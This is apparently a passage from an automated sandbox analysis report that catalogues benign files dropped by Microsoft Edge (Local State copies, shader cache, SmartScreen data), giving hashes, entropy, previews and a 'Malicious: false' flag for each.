Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAADacySGTRTT7K/zDJcbIoaEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAABH6fdRB5FKLHWPcK/xOGNtbWrDWD984smF1t5K4D7cugAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3f398.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.794393972984899
Encrypted:	false
SSDEEP:	96:iaqkHfJRlCi5ih/cI9URLl8Roto1MFVvlwhJe4IbONIeTC6XQS0qGqk+Z4uj+rj1:akLkeiRU2hr6qRAq1k8SPxVLZ7VTiq
MD5:	885448133945CB9E8EC2FD80DF777049
SHA1:	8A87F4C0B4DE549C3A8A3BD3D63774A39507F951
SHA-256:	2F6A52761264B07BD4C6665916C0043D9B4F8613E8FA87E9092805F7F7875D40
SHA-512:	2D143B08763DF95155BA5036E5F243772837960CB9973448905F582194DD5819216258EA1E820F3B60AA25F01677E216956BCD413E77C1BB5AD1BDA82EC4E184
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAADacySGTRTT7K/zDJcbIoaEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAABH6fdRB5FKLHWPcK/xOGNtbWrDWD984smF1t5K4D7cugAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF41a89.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.794393972984899
Encrypted:	false
SSDEEP:	96:iaqkHfJRlCi5ih/cI9URLl8Roto1MFVvlwhJe4IbONIeTC6XQS0qGqk+Z4uj+rj1:akLkeiRU2hr6qRAq1k8SPxVLZ7VTiq
MD5:	885448133945CB9E8EC2FD80DF777049
SHA1:	8A87F4C0B4DE549C3A8A3BD3D63774A39507F951
SHA-256:	2F6A52761264B07BD4C6665916C0043D9B4F8613E8FA87E9092805F7F7875D40
SHA-512:	2D143B08763DF95155BA5036E5F243772837960CB9973448905F582194DD5819216258EA1E820F3B60AA25F01677E216956BCD413E77C1BB5AD1BDA82EC4E184
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAADacySGTRTT7K/zDJcbIoaEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAABH6fdRB5FKLHWPcK/xOGNtbWrDWD984smF1t5K4D7cugAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF44e4b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.794393972984899
Encrypted:	false
SSDEEP:	96:iaqkHfJRlCi5ih/cI9URLl8Roto1MFVvlwhJe4IbONIeTC6XQS0qGqk+Z4uj+rj1:akLkeiRU2hr6qRAq1k8SPxVLZ7VTiq
MD5:	885448133945CB9E8EC2FD80DF777049
SHA1:	8A87F4C0B4DE549C3A8A3BD3D63774A39507F951
SHA-256:	2F6A52761264B07BD4C6665916C0043D9B4F8613E8FA87E9092805F7F7875D40
SHA-512:	2D143B08763DF95155BA5036E5F243772837960CB9973448905F582194DD5819216258EA1E820F3B60AA25F01677E216956BCD413E77C1BB5AD1BDA82EC4E184
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAADacySGTRTT7K/zDJcbIoaEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAABH6fdRB5FKLHWPcK/xOGNtbWrDWD984smF1t5K4D7cugAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 2, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.46731661083066856
Encrypted:	false
SSDEEP:	12:TL1QAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3is25q0S9K0xHZ75fOV:TLiOUOq0afDdWec9sJf5Q7J5fc
MD5:	E93ACF0820CA08E5A5D2D159729F70E3
SHA1:	2C1A4D4924B9AEC1A796F108607404B000877C5D
SHA-256:	F2267FDA7F45499F7A01186B75CEFB799F8D2BC97E2E9B5068952D477294302C
SHA-512:	3BF36C20E04DCF1C16DC794E272F82F68B0DE43F16B4A9746B63B6D6BBC953B00BD7111CDA7AFE85CEBB2C447145483A382B15E2B0A5B36026C3441635D4E50C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	8.280239615765425E-4
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2:/M/xT02
MD5:	D0D388F3865D0523E451D6BA0BE34CC4
SHA1:	8571C6A52AACC2747C048E3419E5657B74612995
SHA-256:	902F30C1FB0597D0734BC34B979EC5D131F8F39A4B71B338083821216EC8D61B
SHA-512:	376011D00DE659EB6082A74E862CFAC97A9BB508E0B740761505142E2D24EC1C30AA61EFBC1C0DD08FF0F34734444DE7F77DD90A6CA42B48A4C7FAD5F0BDDD17
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.47693366977411E-4
Encrypted:	false
SSDEEP:	3:LsNlVpt/:Ls3d/
MD5:	E5F5093C568861FF315B7A19015E29C6
SHA1:	11B1B0AA88B683421563980B08D945019FC7202E
SHA-256:	915244202A96A12F428F186F6D66581F4BD1A1FC62F0C3F81D6CC7CF7A1D1776
SHA-512:	4B6567A3F89E3C71D825EA0C5C3110A235D33EB2257EB69D4C0BE1D180C5D13B408B590FA53F430F9FE0EC5C4FE2C5B90ACF6D6198D53C2D80FCA94584AB9260
Malicious:	false
Preview:	........................................H...../.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSynchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	3.922828737239167
Encrypted:	false
SSDEEP:	3:2NGw+K+:fwZ+
MD5:	7BAAFE811F480ACFCCCEE0D744355C79
SHA1:	24B89AE82313084BB8BBEB9AD98A550F41DF7B27
SHA-256:	D5743766AF0312C7B7728219FC24A03A4FB1C2A54A506F337953FBC2C1B847C7
SHA-512:	70FE1C197AF507CC0D65E99807D245C896A40A4271BA1121F9B621980877B43019E584C48780951FC1AD2A5D7D146FC6EA4678139A5B38F9B6F7A5F1E2E86BA3
Malicious:	false
Preview:	customSynchronousLookupUris_0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSynchronousLookupUris_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	35302
Entropy (8bit):	7.99333285466604
Encrypted:	true
SSDEEP:	768:rRhaFePY38QBsj61g3g01LXoDGPpgb8KbMcnjrQCckBuJyqk3x8cBBT:rLP+TBK6ZQLXSsaMcnHQQcox80
MD5:	0E06E28C3536360DE3486B1A9E5195E8
SHA1:	EB768267F34EC16A6CCD1966DCA4C3C2870268AB
SHA-256:	F2658B1C913A96E75B45E6ADB464C8D796B34AC43BAF1635AA32E16D1752971C
SHA-512:	45F1E909599E2F63372867BC359CF72FD846619DFEB5359E52D5700E0B1BCFFE5FF07606511A3BFFDDD933A0507195439457E4E29A49EB6451F26186B7240041
Malicious:	false
Preview:	.......murmur3.....IN...9.......0..X..#l....C....]......pv..E..........,..?.N?....V..B-..F.1....g\|..._.>'.-(V... .=.7P.m....#}.r.....>.LE...G.A.h5........J..=..L^-.Zl++,..h..o.y..~j.]u...W...&s.........M..........h3b..[.5.]..V^w.........a....6g3..%.gy../{\|Z.B..X.}5.]..t.1.H&B.[.).$Y......2....L.t...{...[WE.yy.]..e.v0..\.J3..T.`1Lnh.../..-=w...W.&N7.nz.P...z......'i..R6....../....t.[..&-.....T&l..e....$.8.."....Iq....J.v..\|.6.M...zE...a9uw..'.$6.L..m$......NB).JL.G.7}8(`....J.)b.E.m...c.0I.V...\|$....;.k.......8v..l.:..@.F.........K..2...%(...kA......LJd~._A.N.....$3...5....Z"...X=.....%.........6.k.....F..1..l,ia..i.i....y.M..Cl........}.I..r..-+=b.6....%...#...W..K.....=.F....~.....[.......-...../;....~.09..d.....GR..H.lR...m.Huh9.:..A H./)..D.F..Y.n7.....7D.O.a;>Z.K....w...sq..qo3N...8@.zpD.Ku......+.Z=.zNFgP._@.z.ic.......3.....+..j...an%...X..7.q..A.l.7.S2..+....1.s.b..z...@v..!.y...N.C.XQ.p.\..x8(.<.....cq.(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3581
Entropy (8bit):	4.459693941095613
Encrypted:	false
SSDEEP:	96:JTMhnytNaSA4BOsNQNhnUZTFGKDIWHCgL5tfHaaJzRHF+P1sYmnfHUdT+GWBH7Y/:KyMot7vjFU
MD5:	BDE38FAE28EC415384B8CFE052306D6C
SHA1:	3019740AF622B58D573C00BF5C98DD77F3FBB5CD
SHA-256:	1F4542614473AE103A5EE3DEEEC61D033A40271CFF891AAA6797534E4DBB4D20
SHA-512:	9C369D69298EBF087412EDA782EE72AFE5448FD0D69EA5141C2744EA5F6C36CDF70A51845CDC174838BAC0ADABDFA70DF6AEDBF6E7867578AE7C4B7805A8B55E
Malicious:	false
Preview:	{"models":[],"geoidMaps":{"gw_my":"https://malaysia.smartscreen.microsoft.com/","gw_tw":"https://taiwan.smartscreen.microsoft.com/","gw_at":"https://austria.smartscreen.microsoft.com/","gw_es":"https://spain.smartscreen.microsoft.com/","gw_pl":"https://poland.smartscreen.microsoft.com/","gw_se":"https://sweden.smartscreen.microsoft.com/","gw_kr":"https://southkorea.smartscreen.microsoft.com/","gw_br":"https://brazil.smartscreen.microsoft.com/","au":"https://australia.smartscreen.microsoft.com/","dk":"https://denmark.smartscreen.microsoft.com/","gw_sg":"https://singapore.smartscreen.microsoft.com/","gw_fr":"https://france.smartscreen.microsoft.com/","gw_ca":"https://canada.smartscreen.microsoft.com/","test":"https://eu-9.smartscreen.microsoft.com/","gw_il":"https://israel.smartscreen.microsoft.com/","gw_au":"https://australia.smartscreen.microsoft.com/","gw_ffl4mod":"https://unitedstates4.ss.wd.microsoft.us/","gw_ffl4":"https://unitedstates1.ss.wd.microsoft.us/","gw_eu":"https://europe.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_636976985063396749.rel.v2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	35302
Entropy (8bit):	7.99333285466604
Encrypted:	true
SSDEEP:	768:rRhaFePY38QBsj61g3g01LXoDGPpgb8KbMcnjrQCckBuJyqk3x8cBBT:rLP+TBK6ZQLXSsaMcnHQQcox80
MD5:	0E06E28C3536360DE3486B1A9E5195E8
SHA1:	EB768267F34EC16A6CCD1966DCA4C3C2870268AB
SHA-256:	F2658B1C913A96E75B45E6ADB464C8D796B34AC43BAF1635AA32E16D1752971C
SHA-512:	45F1E909599E2F63372867BC359CF72FD846619DFEB5359E52D5700E0B1BCFFE5FF07606511A3BFFDDD933A0507195439457E4E29A49EB6451F26186B7240041
Malicious:	false
Preview:	.......murmur3.....IN...9.......0..X..#l....C....]......pv..E..........,..?.N?....V..B-..F.1....g\|..._.>'.-(V... .=.7P.m....#}.r.....>.LE...G.A.h5........J..=..L^-.Zl++,..h..o.y..~j.]u...W...&s.........M..........h3b..[.5.]..V^w.........a....6g3..%.gy../{\|Z.B..X.}5.]..t.1.H&B.[.).$Y......2....L.t...{...[WE.yy.]..e.v0..\.J3..T.`1Lnh.../..-=w...W.&N7.nz.P...z......'i..R6....../....t.[..&-.....T&l..e....$.8.."....Iq....J.v..\|.6.M...zE...a9uw..'.$6.L..m$......NB).JL.G.7}8(`....J.)b.E.m...c.0I.V...\|$....;.k.......8v..l.:..@.F.........K..2...%(...kA......LJd~._A.N.....$3...5....Z"...X=.....%.........6.k.....F..1..l,ia..i.i....y.M..Cl........}.I..r..-+=b.6....%...#...W..K.....=.F....~.....[.......-...../;....~.09..d.....GR..H.lR...m.Huh9.:..A H./)..D.F..Y.n7.....7D.O.a;>Z.K....w...sq..qo3N...8@.zpD.Ku......+.Z=.zNFgP._@.z.ic.......3.....+..j...an%...X..7.q..A.l.7.S2..+....1.s.b..z...@v..!.y...N.C.XQ.p.\..x8(.<.....cq.(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
